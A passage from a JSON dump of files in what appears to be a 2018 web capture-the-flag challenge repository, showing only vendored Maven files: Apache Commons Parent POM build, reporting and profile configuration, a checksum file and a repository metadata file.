<commons.site-plugin.version>3.3</commons.site-plugin.version>\n    <commons.jacoco.version>0.6.3.201306030806</commons.jacoco.version>\n    <commons.cobertura.version>2.5.2</commons.cobertura.version>\n    <commons.jdepend.version>2.0-beta-2</commons.jdepend.version>\n\n\n    <!-- Default values for the download-page generation by commons-build-plugin -->\n    <commons.release.name>${project.artifactId}-${commons.release.version}</commons.release.name>\n    <commons.release.desc />\n    <commons.binary.suffix>-bin</commons.binary.suffix>\n    <commons.release.2.name>${project.artifactId}-${commons.release.2.version}</commons.release.2.name>\n    <commons.release.2.desc />\n    <commons.release.2.binary.suffix>-bin</commons.release.2.binary.suffix>\n    <commons.release.3.name>${project.artifactId}-${commons.release.3.version}</commons.release.3.name>\n    <commons.release.3.desc />\n    <commons.release.3.binary.suffix>-bin</commons.release.3.binary.suffix>\n\n    <!-- Default values for the jacoco-maven-plugin reports -->\n    <commons.jacoco.classRatio>100</commons.jacoco.classRatio>\n    <commons.jacoco.instructionRatio>90</commons.jacoco.instructionRatio>\n    <commons.jacoco.methodRatio>95</commons.jacoco.methodRatio>\n    <commons.jacoco.branchRatio>85</commons.jacoco.branchRatio>\n    <commons.jacoco.complexityRatio>85</commons.jacoco.complexityRatio>\n    <commons.jacoco.lineRatio>90</commons.jacoco.lineRatio>\n    <commons.jacoco.haltOnFailure>false</commons.jacoco.haltOnFailure>\n   \n    <!-- Commons Component Id -->\n    <commons.componentid>${project.artifactId}</commons.componentid>\n\n    <!-- Configuration properties for the OSGi maven-bundle-plugin -->\n    <commons.osgi.symbolicName>org.apache.commons.${commons.componentid}</commons.osgi.symbolicName>\n    <commons.osgi.export>org.apache.commons.*;version=${project.version};-noimport:=true</commons.osgi.export>\n    <commons.osgi.import>*</commons.osgi.import>\n    <commons.osgi.dynamicImport />\n    <commons.osgi.private />\n\n    <!-- location of any manifest file used by maven-jar-plugin -->\n    <commons.manifestfile>${project.build.directory}/osgi/MANIFEST.MF</commons.manifestfile>\n\n    <!--\n      Make the deployment protocol pluggable. This allows to switch to\n      other protocols like scpexe, which some users prefer over scp.\n    -->\n    <commons.deployment.protocol>scp</commons.deployment.protocol>\n\n    <!--\n      Encoding of Java source files: Make sure, that the compiler and\n      the javadoc generator use the right encoding. Subprojects may\n      overwrite this, if they are using another encoding.\n    -->\n    <commons.encoding>iso-8859-1</commons.encoding>\n    <commons.docEncoding>${commons.encoding}</commons.docEncoding>\n    <!-- Define encoding for filtering -->\n    <project.build.sourceEncoding>${commons.encoding}</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>${commons.encoding}</project.reporting.outputEncoding>\n\n    <!-- Javadoc link to Java API.  Default is Java 1.6; components can override to other versions -->\n    <commons.javadoc.java.link>http://download.oracle.com/javase/6/docs/api/</commons.javadoc.java.link>\n    <commons.javadoc.javaee.link>http://download.oracle.com/javaee/6/api/</commons.javadoc.javaee.link>\n\n    <!-- build meta inf -->\n    <maven.build.timestamp.format>yyyy-MM-dd HH:mm:ssZ</maven.build.timestamp.format>\n    <implementation.build>${scmBranch}@r${buildNumber}; ${maven.build.timestamp}</implementation.build>\n\n    <!-- Allow Clirr severity to be overriden by the command-line option -DminSeverity=level -->\n    <minSeverity>info</minSeverity>\n    \n    <!-- Allow surefire-report aggregation to be easily configured for multi-module projects -->\n    <commons.surefire-report.aggregate>false</commons.surefire-report.aggregate>\n\n    <!-- scm publish plugin configuration -->\n    <commons.site.cache>${user.home}/commons-sites</commons.site.cache>\n    <!-- value modules can override it -->\n    <commons.site.path>${project.artifactId}</commons.site.path>\n\n    <commons.scmPubUrl>https://svn.apache.org/repos/infra/websites/production/commons/content/proper/${project.artifactId}</commons.scmPubUrl>\n    <commons.scmPubCheckoutDirectory>${commons.site.cache}/${commons.site.path}</commons.scmPubCheckoutDirectory>\n\n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n\n  </properties>\n\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/32/commons-parent-32.pom.sha1",
    "content": "0e51c4223003c2c7c63f38d7b8823e40eb06bd1f"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/34/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:48 CST 2018\ncommons-parent-34.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/commons/commons-parent/34/commons-parent-34.pom",
    "content": "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>\n<!--\n\n   Licensed to the Apache Software Foundation (ASF) under one or more\n   contributor license agreements.  See the NOTICE file distributed with\n   this work for additional information regarding copyright ownership.\n   The ASF licenses this file to You under the Apache License, Version 2.0\n   (the \"License\"); you may not use this file except in compliance with\n   the License.  You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n\n-->\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>13</version>\n  </parent>\n  <groupId>org.apache.commons</groupId>\n  <artifactId>commons-parent</artifactId>\n  <packaging>pom</packaging>\n  <version>34</version>\n  <name>Apache Commons Parent</name>\n  <url>http://commons.apache.org/</url>\n  <description>The Apache Commons Parent POM provides common settings for all Apache Commons components.</description>\n\n<!--\nVersion 34:\n\n  - Added Maven enforcer to ensure builds use Maven 3.0.0 or later\n  - scm-publish 1.0-beta2 -> 1.0\n  - Surefire 2.16 -> 2.17\n  - Added Java 1.8 profile\n\n -->\n\n  <!-- Maven versions plugin reports an error if this is omitted -->\n  <prerequisites>\n    <maven>3.0</maven>\n  </prerequisites>\n \n  <ciManagement>\n    <system>continuum</system>\n    <url>https://continuum-ci.apache.org/</url>\n  </ciManagement>\n\n  <!--\n    Starting with version 22, the RAT plugin has changed Maven group and id, so any existing configuration\n    needs to be updated.\n    To fix component POMs, please change any occurrences of:\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>rat-maven-plugin</artifactId>\n    to the new values:\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n\n    Site deployment\n    ===============\n    Cannot define this here at present, see https://issues.apache.org/jira/browse/COMMONSSITE-26.\n\n    The following should be added to the component POM:\n\n    <distributionManagement>\n      <site>\n        <id>commons.site</id>\n        <name>Apache Commons Site SVN</name>\n        <url>scm:svn:${commons.scmPubUrl}</url>\n      </site>\n    </distributionManagement>\n\n    Alternatively you can map the component's existing site id to the\n    commons.scmPubServer property.\n\n    Coverage tool selection\n    =======================\n    Starting with release 30, there are optional profiles for both Cobertura and JaCoCo.\n    These can be enabled independently on the command-line:\n\n    mvn site -Pcobertura -Pjacoco\n\n    Or the component can define a default coverage tool by creating either (or both) of the following files:\n\n    src/site/resources/profile.cobertura\n    src/site/resources/profile.jacoco\n\n    These can later be overridden by cancelling the profile:\n\n    mvn site -P!jacoco\n\n  -->\n\n  <!--\n    This section *must* be overwritten by subprojects. It is only to allow\n    a release of the commons-parent POM.\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/commons/proper/commons-parent/trunk</developerConnection>\n    <url>http://svn.apache.org/viewvc/commons/proper/commons-parent/trunk</url>\n  </scm>\n\n  <mailingLists>\n    <!-- N.B. commons-site now uses the Apache POM so has its own copy of the mailing list definitions -->\n    <!--\n        Components should normally override the default mailing list report by using the comnand\n        mvn commons:mail-page\n        This generates the file src/site/xdoc/mail-lists.xml which when processed will replace the PIR version.\n     -->\n    <!-- Changes to this list should be synchronised with the commons build plugin -->\n    <mailingList>\n      <name>Commons User List</name>\n      <subscribe>user-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>user-unsubscribe@commons.apache.org</unsubscribe>\n      <post>user@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-user/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.users/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---User-f319.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/user@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.user</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Dev List</name>\n      <subscribe>dev-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@commons.apache.org</unsubscribe>\n      <post>dev@commons.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-dev/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.dev/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Dev-f317.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/dev@commons.apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.jakarta.commons.devel</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Issues List</name>\n      <subscribe>issues-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.issues/</otherArchive>\n        <otherArchive>http://old.nabble.com/Commons---Issues-f25499.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/issues@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Commons Commits List</name>\n      <subscribe>commits-subscribe@commons.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@commons.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/commons-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.commons.commits/</otherArchive>\n        <otherArchive>http://www.mail-archive.com/commits@commons.apache.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://markmail.org/list/org.apache.announce/</otherArchive>\n        <otherArchive>http://old.nabble.com/Apache-News-and-Announce-f109.html</otherArchive>\n        <otherArchive>http://www.mail-archive.com/announce@apache.org/</otherArchive>\n        <otherArchive>http://news.gmane.org/gmane.comp.apache.announce</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n  <build>\n    <!-- TODO find a better way to add N&L files to jars and test jars\n         See also maven-remote-resources-plugin configuration below.\n    -->\n    <resources>\n      <!-- This is the default setting from the super-pom -->\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <resource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </resource>\n    </resources>\n    <!-- ensure test jars also get NOTICE & LICENSE files -->\n    <testResources>\n      <!-- This is the default setting from the super-pom -->\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n      <!-- hack to ensure the N&L appear in jars -->\n      <testResource>\n        <directory>${basedir}</directory>\n        <targetPath>META-INF</targetPath>\n        <includes>\n          <include>NOTICE.txt</include>\n          <include>LICENSE.txt</include>\n        </includes>\n      </testResource>\n    </testResources>\n    <pluginManagement>\n      <plugins>\n        <!-- org.apache.maven.plugins, alpha order by artifact id -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>${commons.compiler.version}</version>\n          <configuration>\n            <source>${maven.compiler.source}</source>\n            <target>${maven.compiler.target}</target>\n            <encoding>${commons.encoding}</encoding>\n            <fork>${commons.compiler.fork}</fork>\n            <compilerVersion>${commons.compiler.compilerVersion}</compilerVersion>\n            <executable>${commons.compiler.javac}</executable>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.8.1</version>\n        </plugin>\n        <!-- Apache parent includes docck -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.5.1</version>\n        </plugin>\n        <!-- Apache parent: invoker -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.4</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>${commons.javadoc.version}</version>\n          <configuration>\n            <!-- keep only errors and warnings -->\n            <quiet>true</quiet>\n            <encoding>${commons.encoding}</encoding>\n            <docEncoding>${commons.docEncoding}</docEncoding>\n            <notimestamp>true</notimestamp>\n            <links>\n              <link>${commons.javadoc.java.link}</link>\n              <link>${commons.javadoc.javaee.link}</link>\n            </links>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.4.2</version>\n        </plugin>\n        <plugin>\n          <!-- TODO see above - find better way to add N&L files to jars and test jars -->\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <!-- override old version from Apache pom 9 -->\n          <version>1.5</version>\n          <configuration>\n            <!--\n                Apache parent POM automatically adds \"LICENSE\" and \"NOTICE\" files\n                to jars - duplicating the \"LICENSE.txt\" and \"NOTICE.txt\"\n                files that components already have.\n             -->\n            <skip>true</skip>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <!-- Apache parent: scm -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>${commons.site-plugin.version}</version>\n          <configuration>\n            <!-- don't deploy site with maven-site-plugin -->\n            <skipDeploy>true</skipDeploy>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.2.1</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${commons.surefire.version}</version>\n        </plugin>\n        <!-- Other plugins, alpha order by groupId and artifactId -->\n        <plugin>\n          <groupId>org.apache.commons</groupId>\n          <artifactId>commons-build-plugin</artifactId>\n          <version>1.4</version>\n          <configuration>\n            <commons.release.name>${commons.release.name}</commons.release.name>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.felix</groupId>\n          <artifactId>maven-bundle-plugin</artifactId>\n          <version>2.4.0</version>\n          <inherited>true</inherited>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>${commons.rat.version}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>buildnumber-maven-plugin</artifactId>\n          <version>1.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n            <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n        </plugin>\n        <!-- Apache parent: plexus & modello -->\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n          <!-- Parent POM is released, so needs source archive for ASF mirrors -->\n          <artifactId>maven-assembly-plugin</artifactId>\n          <configuration>\n              <descriptors>\n                  <descriptor>src/main/assembly/src.xml</descriptor>\n              </descriptors>\n              <tarLongFileMode>gnu</tarLongFileMode>\n          </configuration>\n      </plugin>\n      <plugin>\n        <!--\n          - Copy LICENSE.txt and NOTICE.txt so that they are included\n          - in the -javadoc jar file for the component.\n          -->\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-antrun-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>javadoc.resources</id>\n            <phase>generate-sources</phase>\n            <goals>\n              <goal>run</goal>\n            </goals>\n            <configuration>\n              <target>\n                <copy todir=\"${project.build.directory}/apidocs/META-INF\">\n                  <fileset dir=\"${basedir}\">\n                    <include name=\"LICENSE.txt\" />\n                    <include name=\"NOTICE.txt\" />\n                  </fileset>\n                </copy>\n              </target>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-compiler-plugin</artifactId>\n      </plugin>\n      <!-- Unfortunately the much simpler\n           <prerequisites><maven>3.0</maven></prerequisites>  \n           is not inherited so we have to use the enforcer plugin\n      -->\n      <plugin>\n        <inherited>true</inherited>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-enforcer-plugin</artifactId>\n        <version>1.3.1</version>\n        <executions>\n          <execution>\n            <id>enforce-maven-3</id>\n            <goals>\n              <goal>enforce</goal>\n            </goals>\n            <configuration>\n              <rules>\n                <requireMavenVersion>\n                  <version>3.0.0</version>\n                </requireMavenVersion>                \n              </rules>\n              <fail>true</fail>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jar-plugin</artifactId>\n        <configuration>\n          <archive>\n            <manifestFile>${commons.manifestfile}</manifestFile>\n            <manifestEntries>\n              <Specification-Title>${project.name}</Specification-Title>\n              <Specification-Version>${project.version}</Specification-Version>\n              <Specification-Vendor>${project.organization.name}</Specification-Vendor>\n              <Implementation-Title>${project.name}</Implementation-Title>\n              <Implementation-Version>${project.version}</Implementation-Version>\n              <Implementation-Vendor>${project.organization.name}</Implementation-Vendor>\n              <Implementation-Vendor-Id>org.apache</Implementation-Vendor-Id>\n              <Implementation-Build>${implementation.build}</Implementation-Build>\n              <X-Compile-Source-JDK>${maven.compiler.source}</X-Compile-Source-JDK>\n              <X-Compile-Target-JDK>${maven.compiler.target}</X-Compile-Target-JDK>\n            </manifestEntries>\n          </archive>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <jvm>${commons.surefire.java}</jvm>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.commons</groupId>\n        <artifactId>commons-build-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.felix</groupId>\n        <artifactId>maven-bundle-plugin</artifactId>\n        <configuration>\n          <!--\n            dummy entry to stop bundle plugin from picking up jar config and reporting\n            WARNING: Duplicate name in Manifest\n            See http://markmail.org/message/mpkl24wk3jrjhhjg\n          -->\n          <archive>\n            <forced>true</forced>\n          </archive>\n          <excludeDependencies>true</excludeDependencies>\n          <manifestLocation>${project.build.directory}/osgi</manifestLocation>\n          <instructions>\n            <!-- stops the \"uses\" clauses being added to \"Export-Package\" manifest entry -->\n            <_nouses>true</_nouses>\n            <!-- Stop the JAVA_1_n_HOME variables from being treated as headers by Bnd -->\n            <_removeheaders>JAVA_1_3_HOME,JAVA_1_4_HOME,JAVA_1_5_HOME,JAVA_1_6_HOME,JAVA_1_7_HOME,JAVA_1_8_HOME</_removeheaders>\n            <Bundle-SymbolicName>${commons.osgi.symbolicName}</Bundle-SymbolicName>\n            <Export-Package>${commons.osgi.export}</Export-Package>\n            <Private-Package>${commons.osgi.private}</Private-Package>\n            <Import-Package>${commons.osgi.import}</Import-Package>\n            <DynamicImport-Package>${commons.osgi.dynamicImport}</DynamicImport-Package>\n            <Bundle-DocURL>${project.url}</Bundle-DocURL>\n          </instructions>\n        </configuration>\n        <executions>\n          <execution>\n            <id>bundle-manifest</id>\n            <phase>process-classes</phase>\n            <goals>\n              <goal>manifest</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n      <!-- Needed for command-line access, e.g mvn apache-rat:rat and mvn apache-rat:check -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in reporting section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries \n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.checkstyle</exclude>\n            <exclude>.fbprefs</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>      \n      </plugin>\n\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-scm-publish-plugin</artifactId>\n        <version>${commons.scm-publish.version}</version>\n        <configuration>\n          <content>${project.reporting.outputDirectory}</content>\n          <pubScmUrl>scm:svn:${commons.scmPubUrl}</pubScmUrl>\n          <checkoutDirectory>${commons.scmPubCheckoutDirectory}</checkoutDirectory>\n          <serverId>${commons.scmPubServer}</serverId>\n          <tryUpdate>true</tryUpdate>\n        </configuration>\n        <executions>\n          <execution>\n            <id>scm-publish</id>\n            <phase>site-deploy</phase><!-- deploy site with maven-scm-publish-plugin -->\n            <goals>\n              <goal>publish-scm</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n\n    </plugins>\n  </build>\n\n  <reporting>\n    <!-- N.B. plugins defined here in the <reporting> section ignore what's defined in <pluginManagement>\n         in the <build> section above, so we have to define the versions here. -->\n    <plugins>\n      <!-- org.apache.maven.plugins, alpha order by artifact id -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-changes-plugin</artifactId>\n        <version>${commons.changes.version}</version>\n        <configuration>\n          <xmlPath>${basedir}/src/changes/changes.xml</xmlPath>\n          <columnNames>Fix Version,Key,Component,Summary,Type,Resolution,Status</columnNames>\n          <!-- Sort cols in natural order when using JQL for JIRA 5.1 -->\n          <sortColumnNames>Fix Version DESC,Type,Key DESC</sortColumnNames>\n          <resolutionIds>Fixed</resolutionIds>\n          <statusIds>Resolved,Closed</statusIds>\n          <!-- Don't include sub-task -->\n          <typeIds>Bug,New Feature,Task,Improvement,Wish,Test</typeIds>\n          <!-- For JIRA >= 5.1 -->\n          <useJql>true</useJql>\n        </configuration>\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>changes-report</report>\n              <report>jira-report</report>\n            </reports>\n          </reportSet>\n        </reportSets>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <version>${commons.javadoc.version}</version>\n        <configuration>\n          <!-- keep only errors and warnings -->\n          <quiet>true</quiet>\n          <source>${maven.compiler.source}</source>\n          <encoding>${commons.encoding}</encoding>\n          <docencoding>${commons.docEncoding}</docencoding>\n          <notimestamp>true</notimestamp>\n          <linksource>true</linksource>\n          <!-- prevent svnpub to be too much noisy -->\n          <notimestamp>true</notimestamp>\n          <links>\n            <link>${commons.javadoc.java.link}</link>\n            <link>${commons.javadoc.javaee.link}</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-jxr-plugin</artifactId>\n        <version>${commons.jxr.version}</version>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-project-info-reports-plugin</artifactId>\n        <version>${commons.project-info.version}</version>\n        <!-- \n            Unfortunately it does not appear to be possible to override\n            reports configured in a parent POM.\n            See https://jira.codehaus.org/browse/MPIR-241\n            and https://issues.apache.org/jira/browse/MPOM-32\n            So we define here all those reports that are suitable for\n            all components. \n            Components can add extra reports if they wish, but cannot disable any.\n        -->\n        <reportSets>\n          <reportSet>\n            <reports>\n              <report>index</report>\n              <report>summary</report>\n              <report>modules</report>\n<!--          <report>license</report>               site must link to ASF page instead  -->\n              <report>project-team</report>\n              <report>scm</report>\n              <report>issue-tracking</report>\n              <report>mailing-list</report>\n              <report>dependency-management</report>\n              <report>dependencies</report>\n              <report>dependency-convergence</report>\n              <report>cim</report>\n<!--          <report>plugin-management</report>      not very useful for end users -->\n<!--          <report>plugins</report>                not very useful for end users -->\n              <report>distribution-management</report>\n            </reports>\n          </reportSet>\n        </reportSets>      \n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-site-plugin</artifactId>\n        <version>${commons.site-plugin.version}</version>\n        <configuration>\n          <!-- Exclude the navigation file for Maven 1 sites\n               and the changes file used by the changes-plugin,\n               as they interfere with the site generation. -->\n          <moduleExcludes>\n            <xdoc>navigation.xml,changes.xml</xdoc>\n          </moduleExcludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n        <version>${commons.surefire.version}</version>\n        <configuration>\n          <aggregate>${commons.surefire-report.aggregate}</aggregate>\n        </configuration>\n      </plugin>\n      <!-- Other plugins, alpha order by groupId and artifactId -->\n      <plugin>\n        <groupId>org.apache.rat</groupId>\n        <artifactId>apache-rat-plugin</artifactId>\n        <version>${commons.rat.version}</version>\n        <!-- Should agree with config in build section -->\n        <configuration>\n          <!--\n               If you wish to override this list in the component (child) pom, ensure you use\n                   <excludes combine.children=\"merge\">\n               so that the child pom entries replace the parent entries \n           -->\n          <excludes combine.children=\"append\">\n            <exclude>site-content/**</exclude>\n            <exclude>.pmd</exclude>\n            <exclude>src/site/resources/download_*.cgi</exclude>\n            <exclude>src/site/resources/profile.*</exclude>\n          </excludes>\n        </configuration>      \n      </plugin>\n      <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>${commons.clirr.version}</version>\n          <configuration>\n              <minSeverity>${minSeverity}</minSeverity>\n          </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>jdepend-maven-plugin</artifactId>\n        <version>${commons.jdepend.version}</version>\n      </plugin>\n    </plugins>\n  </reporting>\n\n  <profiles>\n\n    <profile>\n      <id>jacoco</id>\n      <activation>\n        <!--\n            N.B. in spite of what the Maven docs may say,\n            activation conditions are ORed together, see:\n            http://jira.codehaus.org/browse/MNG-4565\n            Fairly useless, but that's what was done in\n            http://jira.codehaus.org/browse/MNG-3106\n\n            So we cannot also check for Java 1.5+\n            This should not be a problem now as the profile is optional.\n            Components that still target Java 1.4 or earlier\n            just need to ensure they don't use JaCoCo by default.\n        -->\n        <file>\n          <exists>src/site/resources/profile.jacoco</exists>\n        </file>\n      </activation>\n      <build>\n        <plugins>\n          <plugin>\n          <groupId>org.jacoco</groupId>\n          <artifactId>jacoco-maven-plugin</artifactId>\n          <version>${commons.jacoco.version}</version>\n          <!-- Note that since JaCoCo relies on an agent to perform tests,\n               it changes the surefire arguments line. If a component also\n               needs to change the argument line of maven-surefire-plugin,\n               then it must add ${argLine} property (which is set by JaCoCo)\n               in the argLine configuration element of maven-surefire-plugin\n               to preserve JaCoCo settings. -->\n          <executions>\n            <execution>\n              <id>prepare-agent</id>\n              <phase>process-test-classes</phase>\n              <goals>\n                <goal>prepare-agent</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>report</id>\n              <phase>site</phase>\n              <goals>\n                <goal>report</goal>\n              </goals>\n            </execution>\n            <execution>\n              <id>check</id>\n              <goals>\n                <goal>check</goal>\n              </goals>\n              <configuration>\n                <rules>\n                  <rule>\n                    <element>BUNDLE</element>\n                    <limits>\n                      <limit>\n                        <counter>CLASS</counter>\n                        <value>COVEREDRATIO</value>\n                        <minimum>${commons.jacoco.classRatio}</minimum>\n                      </limit>\n                      <limit>\n                        <counter>INSTRUCTION</counter>\n                        